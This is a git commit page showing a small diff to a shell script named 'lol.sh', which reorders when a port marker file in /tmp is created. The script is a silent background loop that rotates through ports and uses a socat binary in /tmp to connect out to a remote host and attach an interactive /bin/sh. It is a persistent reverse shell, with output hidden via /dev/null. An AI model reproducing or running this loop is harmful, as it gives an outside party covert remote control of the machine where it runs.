Update 'lol.sh'
fixed filename port indicator being incorrect upon first execution
This commit is contained in:
parent
8718f7756f
commit
aa01e60c04
2
lol.sh
2
lol.sh
@ -15,13 +15,13 @@ PORT=$STARTPORT
|
|||||||
while true;
|
while true;
|
||||||
do
|
do
|
||||||
find /tmp/ -iname "*.prt" -exec rm {} \;
|
find /tmp/ -iname "*.prt" -exec rm {} \;
|
||||||
touch /tmp/a${PORT}.prt
|
|
||||||
if [[ $PORT != $MAXPORT ]]
|
if [[ $PORT != $MAXPORT ]]
|
||||||
then
|
then
|
||||||
PORT=$((PORT+1))
|
PORT=$((PORT+1))
|
||||||
else
|
else
|
||||||
PORT=$STARTPORT
|
PORT=$STARTPORT
|
||||||
fi
|
fi
|
||||||
|
touch /tmp/a${PORT}.prt
|
||||||
sleep 8
|
sleep 8
|
||||||
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;
|
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;
|
||||||
done &>/dev/null&
|
done &>/dev/null&
|
||||||
|
Loading…
Reference in New Issue
Block a user